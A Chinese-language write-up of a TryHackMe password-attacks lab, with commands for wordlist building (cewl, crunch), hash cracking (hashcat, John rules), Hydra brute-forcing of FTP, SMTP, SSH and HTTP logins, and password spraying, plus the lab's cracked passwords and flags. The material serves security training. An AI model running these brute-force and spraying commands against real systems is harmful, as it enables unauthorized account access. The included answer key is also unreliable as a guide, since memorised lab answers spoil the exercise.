tryhackme——Password Attacks
文章目录
- 一、密码攻击技术
- 二、密码画像
- 2.1 默认密码
- 2.2 弱密码
- 2.3 合并密码
- 2.4 定制密码
- 2.5 用户名字典
- 2.6 Keyspace技术——crunch和CUPP
- 三、离线攻击
- 3.1 字典攻击
- 3.2 暴力攻击
- 3.3 基于规则的攻击
- 四、在线密码攻击——Hydra
- 4.1 FTP
- 4.2 SMTP
- 4.3 SSH
- 4.4 HTTP登录页面
- 4.5 实验
- 五、密码喷洒攻击
本篇文章主要介绍:密码画像(Password profiling
)、密码攻击技术(Password attacks techniques
)和在线密码攻击(Online password attacks
)。
一、密码攻击技术
密码攻击技术包括:字典攻击、暴力攻击、基于规则的攻击和猜测攻击。
- 密码破解是一种用于从加密或哈希数据中发现密码的技术,将其从密文数据还原为明文数据。
- 密码猜测是一种基于字典对在线协议和服务进行密码猜测的方法。
二、密码画像
2.1 默认密码
以下是一些提供各种产品默认密码的网站列表:
- https://cirt.net/passwords
- https://default-password.info/
- https://datarecovery.com/rd/default-passwords/
2.2 弱密码
以下是一些常见的弱密码网站:
- https://www.skullsecurity.org/wiki/Passwords
- SecLists
2.3 合并密码
假设有多个密码列表,那么可以将这些密码列表合并成一个大文件。使用下面的命令:
cat file1.txt file2.txt file3.txt > combined_list.txt
删除重复的数据:
sort combined_list.txt | uniq -u > cleaned_combined_list.txt
# sort:对文件内容进行排序。
# uniq -u:表示只保留唯一的行,去除重复的行。
# |:前一个命令的输出作为后一个命令的输入
## &:将命令置于后台执行。
## &&:成功执行前一个命令,再执行第二个命令。
## ||:前一个命令执行失败,执行第二个命令。
2.4 定制密码
用Cewl
工具从目标网站爬取关键词并生成密码:
cewl -w list.txt -d 5 -m 5 http://thm.labs
# -w list.txt:将爬取到的内容保存到指定的文件中。
# -d 5:设置爬虫的深度级别。深度级别为5表示爬虫会从目标URL开始,递归地爬取5层链接。默认值为2。
# -m 5:设置最小字符长度。只有长度为5的字符或更多的单词才会被收集。
2.5 用户名字典
有一个名为username_generator
的工具,如果提供了名字和姓氏,它可以帮助我们创建包含大多数可能组合的用户名列表。
git clone https://github.com/therodri2/username_generator.git
2.6 Keyspace技术——crunch和CUPP
Keyspace
技术是一种用于生成单词列表的方法,通过指定字符、数字和符号的范围来创建可能的组合。常用的工具是:crunch
# 生成一个包含 8 到 12 个字符的单词列表,字符集包括小写字母、大写字母和数字
crunch 8 12 -f /path/to/charset.lst -o wordlist.txt
# 也可以:生成包含2个字符的列表,字符集为0-4和a-d
crunch 2 2 01234abcd -o crunch.txt
CUPP(Common User Passwords Profiler)
是一个用Python编写的自动且交互式的工具,用于创建定制的单词列表。cupp
三、离线攻击
离线攻击,包括字典攻击、暴力攻击和基于规则的攻击。
3.1 字典攻击
字典攻击是一种通过使用常见的单词或短语来猜测密码的技术,这种攻击完全依赖于预先收集或生成的单词列表。
首先,使用hashid
或hash-identifier
来识别hash类型,假设f806fc5a2a0d5ba2471600758452799c
的hash类型为MD5。再使用hashcat
进行字典攻击,命令如下:
hashcat -a 0 -m 0 f806fc5a2a0d5ba2471600758452799c /usr/share/wordlists/rockyou.txt --show
# -a 0:表示攻击模式为字典攻击;
# -m 0:hash类型为MD5;
# /usr/share/wordlists/rockyou.txt:表示字典
# --show:显示已经被破解的值
3.2 暴力攻击
暴力攻击的目标是尝试所有可能的字符组合。同样使用hashcat
,命令如下:
hashcat -a 3 -m 0 05A5CF06982BA7892ED2A6D38FE832D6 ?d?d?d?d
# -a 3:攻击类型为暴力攻击;
# -m 0:hash类型为MD5;
# ?d?d?d?d:四个都是数字,0000-9999
Considering the following hash: 8d6e34f987851aa599257d3831a1af040886842f. What is the hash type?
:SHA-1
Perform a dictionary attack against the following hash: 8d6e34f987851aa599257d3831a1af040886842f. What is the cracked value? Use rockyou.txt wordlist.
sunshine
hashcat命令:
hashcat -a 0 -m 100 8d6e34f987851aa599257d3831a1af040886842f /usr/share/wordlists/rockyou.txt
Perform a brute-force attack against the following MD5 hash: e48e13207341b6bffb7fb1622282247b. What is the cracked value? Note the password is a 4 digit number: [0-9][0-9][0-9][0-9]
1337
hashcat命令:
hashcat -a 3 -m 0 e48e13207341b6bffb7fb1622282247b ?d?d?d?d
3.3 基于规则的攻击
基于规则的攻击假设攻击者对密码策略有所了解,在这种攻击中,规则被应用于根据给定的密码策略创建密码,并且理论上只会生成有效的密码。就是说知道构建密码的一些细节,比如密码中有一个.
。
可以使用hashcat
或John the Ripper
来生成密码列表。这里介绍John the Ripper
,John the Ripper
的配置文件在/etc/john/john.conf
或者 /opt/john/john.conf
。
使用John the Ripper
对密码列表中的密码进行best64
编码,命令如下:
john --wordlist=/tmp/single-password-list.txt --rules=best64 --stdout | wc -l
# --wordlist:代表字典文件;
# --rules:规则类型;
# --stdout:显示在终端上;
# |wc -l:统计密码个数
也可以在john
中自定义规则vim /etc/john/john.conf
,如:
# 定义了一个规则集,名称为THM-Password-Attacks
[List.Rules:THM-Password-Attacks]
Az"[0-9]" ^[!@#$]
# Az:特殊的占位符,用于表示从原始单词列表或字典中选择一个
# [0-9]:在单词的末尾追加一个数字(从 0 到 9),如password0
# [0-9][0-9] 表示在单词的末尾追加两个数字,如password00
# ^[!@#$] 表示在每个单词的开头添加一个特殊字符(如!、@、#、$),^表示单词的开头。
四、在线密码攻击——Hydra
在线密码攻击涉及对使用用户名和密码认证方案的网络服务进行密码猜测,包括HTTP
、SSH
、VNC
、FTP
、SNMP
、POP3
等服务。这里使用 Hydra,这是一款常用于攻击各种网络服务登录的工具。
4.1 FTP
使用Hydra
对FTP服务进行攻击:
hydra -l <username> -P <password_path> ftp://10.10.x.x
# -l:指定用户名;-L <username_list>
# -P:密码列表路径,passwd.txt。-p <password>:指定单一密码
FTP默认密码可能为ftp:ftp
oradmin:admin
4.2 SMTP
使用Hydra
对SMTP服务进行攻击:
hydra -l email@company.xyz -P /path/to/wordlist.txt smtp://10.10.x.x -v
# -l:指定用户名;-L <username_list>。这里的用户名是邮箱地址
# -P:密码列表路径,passwd.txt。-p <password>:指定单一密码
# -v:启用详细模式,显示更多攻击过程中的信息。
4.3 SSH
使用Hydra
对SSH服务进行攻击:
hydra -L users.lst -P /path/to/wordlist.txt ssh://10.10.x.x -v
# 同上
4.4 HTTP登录页面
使用Hydra
对HTTP登录页面进行攻击:
hydra -l admin -P 500-worst-passwords.txt 10.10.x.x http-get-form "/login-get/index.php:username=^USER^&password=^PASS^:S=logout.php" -f
# -l admin:指定用户名为 admin。
# -P 500-worst-passwords.txt:指定密码列表文件的路径。
# 10.10.x.x:目标服务器的 IP 地址。
# http-get-form:指定使用 HTTP GET 请求进行表单攻击。
# /login-get/index.php:username=^USER^&password=^PASS^:S=logout.php:^USER^和^PASS^为占位符。参数、路径等都用:分隔
# S=logout.php:成功条件字符串,表示成功登录后页面中出现的字符串。
# -f:找到有效凭证后立即停止攻击。
4.5 实验
1、Can you guess the FTP credentials without brute-forcing? What is the flag?
直接使用默认密码ftp:ftp
登录FTP服务:
ftp 10.10.236.24 # ftp连接
cd files
get flag.txt # 将文件下载到本地
登录ftp服务器后,不能直接查看文件内容,需要使用
get
命令将其下载到本地。
2、What is the password? Note that the password format is as follows: [symbol][dictionary word][0-9][0-9].
!multidisciplinary00
使用cewl
爬取网站上的字符:
cewl -m 8 -w clinic.lst https://clinic.thmredteam.com/
使用john
生成符合密码策略的密码文件:
# 定义规则,vim /etc/john/john.conf
[List.Rules:THM_1]
Az"[0-9][0-9]" ^[!@#$]
john --wordlist=./clinic.lst --rules=THMs_1 --stdout > 2.txt
使用hydra
攻击靶机的smtp
服务:
# 将密码插入到2.txt第二行,跑不动了! sos
sed -i '2i !multidisciplinary00\n' 2.txt
hydra -l pittman@clinic.thmredteam.com -P ./2.txt smtps://10.10.236.24:465 -Vv -f
# -f:找到正确凭证就结束攻击。
因为并发16,所以会验证16个密码。
3、Perform a brute-forcing attack against the phillips account for the login page at http://10.10.236.24/login-get using hydra? What is the flag?
THM{33c5d4954da881814420f3ba39772644}
使用F=failed
没有触发条件:
hydra -l phillips -P ./clinic.lst 10.10.236.24 http-get-form "/login-get/index.php:username=^USER^&password=^PASS^:F=failed" -f
使用S=logout.php
则成功。
hydra -l phillips -P ./clinic.lst 10.10.236.24 http-get-form "/login-get/index.php:username=^USER^&password=^PASS^:S=logout.php" -f
4、Perform a rule-based password attack to gain access to the burgess account. Find the flag at the following website: http://10.10.236.24/login-post/. What is the flag?
需要使用john
的Single-Extra
对clinic.lst
进行扩充:
john --wordlist=clinic.lst --rules=Single-Extra --stdout > 4.txt
# john --wordlist=clinic.lst --rules=Single-Extra > 4.txt,生成不了文件到4.txt
# 使用了--stdout才会重定向到4.txt中
hydra -l burgess -P ./4.txt 10.10.236.24 http-post-form "/login-post/index.php:username=^USER^&password=^PASS^:S=logout.php" -f
五、密码喷洒攻击
暴力破解攻击针对特定用户名尝试许多弱且可预测的密码。密码喷洒攻击则针对许多用户名使用一个常见的弱密码。下图解释了密码喷洒攻击的概念,攻击者利用一个常见密码针对多个用户。
密码喷洒攻击可以应用到多种服务上:
1、SSH
# 针对SSH协议
hydra -L usernames-list.txt -p Spring2021 ssh://10.1.1.10
2、RDP
使用RDPassSpray进行密码喷洒攻击,命令如下:
python3 RDPassSpray.py -u victim -p Spring2021! -t 10.100.10.240:3026
# -t:对单个主机进行攻击
python3 RDPassSpray.py -U usernames-list.txt -p Spring2021! -d THM-labs -T RDP_servers.txt
# -d:内网域名;
# -T:要攻击的RDP服务器的IP地址或主机名列表
3、Outlook web access (OWA) portal
工具:
- SprayingToolkit
- MailSniper
4、SMB
使用MSF的auxiliary/scanner/smb/smb_login
模块。
实验:
Perform a password spraying attack to get access to the SSH://MACHINE_IP server to read /etc/flag. What is the flag?
使用hydra
进行密码喷洒:
hydra -L ./username.txt -P ./passwd.txt ssh://10.10.111.232
# username.txt
admin
phillips
burgess
pittman
guess
# password.txt
Fall2020!
Fall2020@
Fall2020#
Fall2020$
Fall2021!
Fall2021@
Fall2021#
Fall2021$
ssh用户名、密码为burgess:Fall2021@
,使用如下命令进行登录:
ssh burgess@10.10.111.232
cat /etc/flag